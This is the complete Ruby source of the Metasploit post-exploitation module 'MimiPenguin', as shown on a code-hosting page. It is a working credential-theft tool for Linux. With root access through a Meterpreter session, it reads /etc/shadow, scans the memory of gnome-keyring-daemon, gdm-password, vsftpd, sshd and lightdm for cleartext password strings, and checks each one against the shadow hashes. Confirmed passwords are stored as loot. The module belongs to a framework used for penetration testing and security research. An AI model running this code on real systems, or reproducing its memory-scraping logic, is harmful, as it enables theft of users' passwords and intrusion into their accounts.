Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/mimipenguin.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'unix_crypt'67class MetasploitModule < Msf::Post8include Msf::Post::Linux::Priv9include Msf::Post::Linux::System10include Msf::Post::Linux::Process1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MimiPenguin',17'Description' => %q{18This searches process memory for needles that indicate19where cleartext passwords may be located. If any needles20are discovered in the target process memory, collected21strings in adjacent memory will be hashed and compared22with password hashes found in `/etc/shadow`.23},24'License' => MSF_LICENSE,25'Author' => [26'huntergregal', # MimiPenguin27'bcoles', # original MimiPenguin module, table and python code28'Shelby Pace' # metasploit module29],30'Platform' => [ 'linux' ],31'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ],32'SessionTypes' => [ 'meterpreter' ],33'Targets' => [[ 'Auto', {} ]],34'Privileged' => true,35'References' => [36[ 'URL', 'https://github.com/huntergregal/mimipenguin' ],37[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919' ],38[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490' ],39[ 'CVE', '2018-20781' ]40],41'DisclosureDate' => '2018-05-23',42'DefaultTarget' => 0,43'Notes' => {44'Stability' => [],45'Reliability' => [],46'SideEffects' => []47},48'Compat' => {49'Meterpreter' => {50'Commands' => %w[51stdapi_sys_process_attach52stdapi_sys_process_memory_read53stdapi_sys_process_memory_search54]55}56}57)58)59end6061def get_user_names_and_hashes62shadow_contents = read_file('/etc/shadow')63fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?64vprint_status('Storing shadow file...')65store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)6667users = []68lines = shadow_contents.split69lines.each do |line|70line_arr = line.split(':')71next if line_arr.empty?7273user_name = line_arr&.first74hash = line_arr&.second75next unless hash.start_with?('$')76next if hash.nil? || user_name.nil?7778users << { 'username' => user_name, 'hash' => hash }79end8081users82end8384def configure_passwords(user_data = [])85user_data.each do |info|86hash = info['hash']87hash_format = Metasploit::Framework::Hashes.identify_hash(hash)88info['type'] = hash_format.empty? ? 'unsupported' : hash_format8990salt = ''91if info['type'] == 'bf'92arr = hash.split('$')93next if arr.length < 49495cost = arr[2]96salt = arr[3][0..21]97info['cost'] = cost98elsif info['type'] == 'yescrypt'99salt = hash[0...29]100else101salt = hash.split('$')[2]102end103next if salt.nil?104105info['salt'] = salt106end107108user_data109end110111def get_matches(target_info = {})112if target_info.empty?113vprint_status('Invalid target info supplied')114return nil115end116117target_pids = pidof(target_info['name'])118if target_pids.nil?119print_bad("PID for #{target_info['name']} not found.")120return nil121end122123target_info['matches'] = {}124target_info['pids'] = target_pids125target_info['pids'].each_with_index do |target_pid, _ind|126vprint_status("Searching PID #{target_pid}...")127response = session.sys.process.memory_search(pid: target_pid, needles: target_info['needles'], min_match_length: 5, max_match_length: 500)128129matches = []130response.each(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) do |res|131match_data = {}132match_data['match_str'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)133match_data['match_offset'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR)134match_data['sect_start'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR)135match_data['sect_len'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN)136137matches << match_data138end139140target_info['matches'][target_pid] = matches.empty? ? nil : matches141end142end143144def format_addresses(addr_line)145address = addr_line.split&.first146start_addr, end_addr = address.split('-')147start_addr = start_addr.to_i(16)148end_addr = end_addr.to_i(16)149150{ 'start' => start_addr, 'end' => end_addr }151end152153# Selects memory regions to read based on locations154# of matches155def choose_mem_regions(pid, match_data = [])156return [] if match_data.empty?157158mem_regions = []159match_data.each do |match|160next unless match.key?('sect_start') && match.key?('sect_len')161162start = match.fetch('sect_start')163len = match.fetch('sect_len')164mem_regions << { 'start' => start, 'length' => len }165end166167mem_regions.uniq!168mem_data = read_file("/proc/#{pid}/maps")169return mem_regions if mem_data.nil?170171lines = mem_data.split("\n")172updated_regions = mem_regions.clone173if mem_regions.length == 1174match_addr = mem_regions[0]['start'].to_s(16)175match_ind = lines.index { |line| line.split('-').first.include?(match_addr) }176prev = lines[match_ind - 1]177if prev && prev.include?('00000000 00:00 0')178formatted = format_addresses(prev)179start_addr = formatted['start']180end_addr = formatted['end']181length = end_addr - start_addr182183updated_regions << { 'start' => start_addr, 'length' => length }184end185186post = lines[match_ind + 1]187if post && post.include?('00000000 00:00 0')188formatted = format_addresses(post)189start_addr = formatted['start']190end_addr = formatted['end']191length = end_addr - start_addr192193updated_regions << { 'start' => start_addr, 'length' => length }194end195196return updated_regions197end198199mem_regions.each_with_index do |region, index|200next if index == 0201202first_addr = mem_regions[index - 1]['start']203curr_addr = region['start']204first_addr = first_addr.to_s(16)205curr_addr = curr_addr.to_s(16)206first_index = lines.index { |line| line.start_with?(first_addr) }207curr_index = lines.index { |line| line.start_with?(curr_addr) }208next if first_index.nil? || curr_index.nil?209210between_vals = lines.values_at(first_index + 1...curr_index)211between_vals = between_vals.select { |line| line.include?('00000000 00:00 0') }212if between_vals.empty?213next unless region == mem_regions.last214215adj_region = lines[curr_index + 1]216return updated_regions if adj_region.nil?217218formatted = format_addresses(adj_region)219start_addr = formatted['start']220end_addr = formatted['end']221length = end_addr - start_addr222updated_regions << { 'start' => start_addr, 'length' => length }223return updated_regions224end225226between_vals.each do |addr_line|227formatted = format_addresses(addr_line)228start_addr = formatted['start']229end_addr = formatted['end']230length = end_addr - start_addr231updated_regions << { 'start' => start_addr, 'length' => length }232end233end234235updated_regions236end237238def get_printable_strings(pid, start_addr, section_len)239lines = []240curr_addr = start_addr241max_addr = start_addr + section_len242243while curr_addr < max_addr244data = mem_read(curr_addr, 1000, pid: pid)245lines << data.split(/[^[:print:]]/)246lines = lines.flatten247curr_addr += 800248end249250lines.reject! { |line| line.length < 4 }251lines252end253254def get_python_version255@python_vers ||= command_exists?('python3') ? 'python3' : ''256257if @python_vers.empty?258@python_vers ||= command_exists?('python') ? 'python' : ''259end260end261262def check_for_valid_passwords(captured_strings, user_data, process_name)263captured_strings.each do |str|264user_data.each do |pass_info|265salt = pass_info['salt']266hash = pass_info['hash']267pass_type = pass_info['type']268269case pass_type270when 'md5'271hashed = UnixCrypt::MD5.build(str, salt)272when 'bf'273BCrypt::Engine.cost = pass_info['cost'] || 12274hashed = BCrypt::Engine.hash_secret(str, hash[0..28])275when /sha256/276hashed = UnixCrypt::SHA256.build(str, salt)277when /sha512/278hashed = UnixCrypt::SHA512.build(str, salt)279when 'yescrypt'280get_python_version281next if @python_vers.empty?282283if @python_vers == 'python3'284code = "import crypt; import base64; print(crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}').decode('utf-8'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}').decode('utf-8')))"285cmd = "python3 -c \"#{code}\""286else287code = "import crypt; import base64; print crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}'))"288cmd = "python -c \"#{code}\""289end290hashed = cmd_exec(cmd).to_s.strip291when 'unsupported'292next293end294295next unless hashed == hash296297pass_info['password'] = str298pass_info['process'] = process_name299end300end301end302303def run304fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?305user_data = get_user_names_and_hashes306fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?307password_data = configure_passwords(user_data)308309target_proc_info = [310{311'name' => 'gnome-keyring-daemon',312'needles' => [313'^+libgck\\-1.so\\.0$',314'libgcrypt\\.so\\..+$',315'linux-vdso\\.so\\.1$',316'libc\\.so\\.6$'317]318},319{320'name' => 'gdm-password',321'needles' => [322'^_pammodutil_getpwnam_root_1$',323'^gkr_system_authtok$'324]325},326{327'name' => 'vsftpd',328'needles' => [329'^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$'330]331},332{333'name' => 'sshd',334'needles' => [335'^sudo.+'336]337},338{339'name' => 'lightdm',340'needles' => [341'^_pammodutil_getspnam_'342]343}344]345346captured_strings = []347target_proc_info.each do |info|348print_status("Checking for matches in process #{info['name']}")349match_set = get_matches(info)350if match_set.nil?351vprint_status("No matches found for process #{info['name']}")352next353end354355vprint_status('Choosing memory regions to search')356next if info['pids'].empty?357next if info['matches'].values.all?(&:nil?)358359info['matches'].each do |pid, set|360next unless set361362search_regions = choose_mem_regions(pid, set)363next if search_regions.empty?364365search_regions.each { |reg| captured_strings << get_printable_strings(pid, reg['start'], reg['length']) }366captured_strings.flatten!367captured_strings.uniq!368check_for_valid_passwords(captured_strings, password_data, info['name'])369captured_strings = []370end371end372373results = password_data.select { |res| res.key?('password') && !res['password'].nil? }374fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?375print_good("Found #{results.length} valid credential(s)!")376377table = Rex::Text::Table.new(378'Header' => 'Credentials',379'Indent' => 2,380'SortIndex' => 0,381'Columns' => [ 'Process Name', 'Username', 'Password' ]382)383384results.each do |res|385table << [ res['process'], res['username'], res['password'] ]386store_valid_credential(387user: res['username'],388private: res['password'],389private_type: :password390)391end392393print_line394print_line(table.to_s)395path = store_loot(396'mimipenguin.csv',397'text/plain',398session,399table.to_csv,400nil401)402403print_status("Credentials stored in #{path}")404end405end406407408